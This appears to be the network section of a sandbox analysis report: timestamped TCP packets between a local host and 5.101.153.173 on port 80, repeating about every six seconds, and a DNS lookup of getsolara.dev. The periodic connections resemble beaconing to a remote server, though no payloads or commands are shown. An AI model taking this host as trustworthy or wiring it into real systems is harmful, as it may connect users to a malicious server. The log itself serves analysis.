Nov 7, 2024 21:13:08.328288078 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.328337908 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.328464031 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.333251953 CET	80	49803	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:08.333390951 CET	80	49803	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:09.306211948 CET	80	49803	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:09.353528976 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.322945118 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.323669910 CET	49838	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.328464985 CET	80	49838	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:14.328521967 CET	49838	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.328644991 CET	49838	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.329267979 CET	80	49803	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:14.329324961 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:14.333414078 CET	80	49838	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:14.333652973 CET	80	49838	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:15.306252003 CET	80	49838	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:15.353656054 CET	49838	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:20.323676109 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:20.328783989 CET	80	49871	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:20.328849077 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:20.328977108 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:20.333981037 CET	80	49871	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:20.333992958 CET	80	49871	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:21.562598944 CET	80	49871	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:21.603605032 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.572876930 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.573563099 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.578398943 CET	80	49871	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:26.578479052 CET	80	49907	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:26.578541040 CET	49871	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.578564882 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.578684092 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:26.583735943 CET	80	49907	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:26.584068060 CET	80	49907	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:27.534663916 CET	80	49907	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:27.587975025 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.543135881 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.544209957 CET	49942	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.544430017 CET	49746	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.544485092 CET	49838	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.549145937 CET	80	49942	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:32.549211979 CET	49942	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.549314022 CET	49942	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.549352884 CET	80	49907	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:32.549396038 CET	49907	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:32.554507971 CET	80	49942	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:32.554794073 CET	80	49942	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:33.539866924 CET	80	49942	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:33.588001013 CET	49942	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:38.542813063 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:38.547661066 CET	80	49977	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:38.547724009 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:38.547838926 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:38.553078890 CET	80	49977	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:38.555303097 CET	80	49977	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:39.476577044 CET	80	49977	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:39.525527954 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.479088068 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.479809046 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.484599113 CET	80	49977	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:44.485049009 CET	80	50008	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:44.485112906 CET	49977	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.485136032 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.485260010 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:44.490221977 CET	80	50008	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:44.490567923 CET	80	50008	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:45.426364899 CET	80	50008	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:45.478657961 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.432394028 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.433371067 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.437716961 CET	80	50008	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:50.437771082 CET	50008	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.438199043 CET	80	50030	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:50.438265085 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.438452005 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:50.443325996 CET	80	50030	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:50.443399906 CET	80	50030	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:51.398377895 CET	80	50030	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:51.448658943 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.416651964 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.417531013 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.421972036 CET	80	50030	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:56.422029018 CET	50030	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.422564030 CET	80	50031	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:56.422655106 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.422775984 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:56.427792072 CET	80	50031	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:56.427817106 CET	80	50031	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:57.386229992 CET	80	50031	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:57.431845903 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.401134014 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.402113914 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.407089949 CET	80	50032	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:02.407098055 CET	80	50031	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:02.407165051 CET	50031	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.407172918 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.407382011 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:02.412190914 CET	80	50032	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:02.412342072 CET	80	50032	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:03.362790108 CET	80	50032	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:03.416285992 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.370045900 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.370914936 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.376394033 CET	80	50032	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:08.376446962 CET	50032	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.376719952 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:08.376774073 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.376904964 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:08.382311106 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:08.382330894 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:09.324198961 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:09.538063049 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:09.538387060 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.338802099 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.339508057 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.344588995 CET	80	50034	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:14.344655991 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.344783068 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.344813108 CET	80	50033	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:14.344847918 CET	50033	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:14.349843979 CET	80	50034	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:14.350145102 CET	80	50034	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:15.301500082 CET	80	50034	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:15.447556019 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.307625055 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.308595896 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.313432932 CET	80	50035	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:20.313502073 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.313622952 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.313949108 CET	80	50034	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:20.313994884 CET	50034	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:20.318439960 CET	80	50035	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:20.318737984 CET	80	50035	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:21.293764114 CET	80	50035	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:21.340876102 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.307560921 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.308592081 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.313365936 CET	80	50035	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:26.313411951 CET	50035	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.313853025 CET	80	50036	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:26.313915014 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.314162970 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:26.319611073 CET	80	50036	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:26.319739103 CET	80	50036	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:27.369148016 CET	80	50036	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:27.450719118 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.385679007 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.386739969 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.391068935 CET	80	50036	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:32.391127110 CET	50036	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.391598940 CET	80	50037	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:32.391661882 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.391834021 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:32.396672010 CET	80	50037	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:32.396847963 CET	80	50037	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:33.346585989 CET	80	50037	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:33.400962114 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.354513884 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.355896950 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.359814882 CET	80	50037	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:38.359863043 CET	50037	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.360784054 CET	80	50038	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:38.360846043 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.360981941 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:38.365822077 CET	80	50038	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:38.366086006 CET	80	50038	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:39.303500891 CET	80	50038	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:39.353873968 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.323189020 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.324301958 CET	50039	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.328640938 CET	80	50038	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:44.328696012 CET	50038	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.329174042 CET	80	50039	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:44.329246998 CET	50039	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.329365015 CET	50039	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:44.334287882 CET	80	50039	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:44.334384918 CET	80	50039	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:45.290420055 CET	80	50039	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:45.353905916 CET	50039	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:48.716135025 CET	80	49942	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:48.716187000 CET	49942	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:50.292782068 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:50.297724962 CET	80	50040	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:50.297800064 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:50.297947884 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:50.303733110 CET	80	50040	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:50.304157972 CET	80	50040	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:51.316184044 CET	80	50040	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:51.369590998 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.323411942 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.324575901 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.328958988 CET	80	50040	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:56.329011917 CET	50040	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.329407930 CET	80	50041	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:56.329464912 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.329643965 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:14:56.334412098 CET	80	50041	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:56.334528923 CET	80	50041	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:57.280073881 CET	80	50041	5.101.153.173	192.168.2.4
Nov 7, 2024 21:14:57.322726965 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.299786091 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.305028915 CET	80	50041	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:02.305089951 CET	50041	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.308584929 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.313636065 CET	80	50042	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:02.313699961 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.317473888 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:02.322334051 CET	80	50042	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:02.322468996 CET	80	50042	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:03.426446915 CET	80	50042	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:03.557096958 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.432652950 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.433612108 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.438399076 CET	80	50043	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:08.438486099 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.438582897 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.438829899 CET	80	50042	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:08.438879967 CET	50042	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:08.443408012 CET	80	50043	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:08.443555117 CET	80	50043	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:09.460911036 CET	80	50043	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:09.510245085 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.464054108 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.465073109 CET	50044	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.469240904 CET	80	50043	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:14.469295025 CET	50043	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.469924927 CET	80	50044	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:14.470004082 CET	50044	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.470108986 CET	50044	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:14.474926949 CET	80	50044	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:14.475543022 CET	80	50044	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:15.432118893 CET	80	50044	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:15.541501045 CET	50044	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:20.450109959 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:20.455291033 CET	80	50045	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:20.455418110 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:20.455508947 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:20.461081982 CET	80	50045	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:20.461556911 CET	80	50045	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:21.428141117 CET	80	50045	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:21.479017973 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.432801962 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.433727980 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.438652992 CET	80	50045	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:26.438673019 CET	80	50046	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:26.438709021 CET	50045	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.438759089 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.438896894 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:26.443799019 CET	80	50046	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:26.443813086 CET	80	50046	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:27.386169910 CET	80	50046	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:27.432214975 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.401550055 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.402782917 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.411912918 CET	80	50046	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:32.411967039 CET	50046	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.413047075 CET	80	50047	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:32.413114071 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.413191080 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:32.424412966 CET	80	50047	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:32.424540997 CET	80	50047	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:33.360399008 CET	80	50047	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:33.557204008 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.370557070 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.371798992 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.376836061 CET	80	50048	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:38.376904011 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.377080917 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.377401114 CET	80	50047	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:38.377477884 CET	50047	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:38.381923914 CET	80	50048	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:38.382071018 CET	80	50048	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:39.543080091 CET	80	50048	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:39.588480949 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.558316946 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.559340954 CET	50049	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.563631058 CET	80	50048	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:44.563683987 CET	50048	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.564157963 CET	80	50049	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:44.564228058 CET	50049	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.564297915 CET	50049	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:44.569077015 CET	80	50049	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:44.569334984 CET	80	50049	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:45.506578922 CET	80	50049	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:45.650990009 CET	50049	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:50.511996984 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:50.517174959 CET	80	50050	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:50.517247915 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:50.517457008 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:50.522571087 CET	80	50050	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:50.522579908 CET	80	50050	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:51.473834991 CET	80	50050	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:51.541779041 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.479741096 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.480900049 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.485053062 CET	80	50050	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:56.485109091 CET	50050	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.485707045 CET	80	50051	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:56.485817909 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.485891104 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:15:56.490755081 CET	80	50051	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:56.490839958 CET	80	50051	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:57.442025900 CET	80	50051	5.101.153.173	192.168.2.4
Nov 7, 2024 21:15:57.495119095 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:00.467554092 CET	80	50039	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:00.467616081 CET	50039	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.449973106 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.451360941 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.457022905 CET	80	50052	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:02.457077980 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.457315922 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.460030079 CET	80	50051	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:02.460074902 CET	50051	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:02.462754011 CET	80	50052	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:02.462816000 CET	80	50052	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:03.400136948 CET	80	50052	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:03.557317972 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.401523113 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.402853966 CET	50053	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.406904936 CET	80	50052	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:08.406959057 CET	50052	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.407653093 CET	80	50053	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:08.407708883 CET	50053	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.407896996 CET	50053	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:16:08.412672997 CET	80	50053	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:08.412827015 CET	80	50053	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:09.359098911 CET	80	50053	5.101.153.173	192.168.2.4
Nov 7, 2024 21:16:09.417112112 CET	50053	80	192.168.2.4	5.101.153.173

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 21:12:09.886008024 CET	61032	53	192.168.2.4	1.1.1.1
Nov 7, 2024 21:12:09.893657923 CET	53	61032	1.1.1.1	192.168.2.4
Nov 7, 2024 21:12:14.345066071 CET	51187	53	192.168.2.4	1.1.1.1
Nov 7, 2024 21:12:14.353398085 CET	53	51187	1.1.1.1	192.168.2.4
Nov 7, 2024 21:12:17.358077049 CET	62125	53	192.168.2.4	1.1.1.1
Nov 7, 2024 21:12:17.366066933 CET	53	62125	1.1.1.1	192.168.2.4
Nov 7, 2024 21:12:18.537092924 CET	56959	53	192.168.2.4	1.1.1.1
Nov 7, 2024 21:12:18.600914955 CET	53	56959	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 21:12:09.886008024 CET	192.168.2.4	1.1.1.1	0xf012	Standard query (0)	getsolara.dev	A (IP address)	IN (0x0001)	false
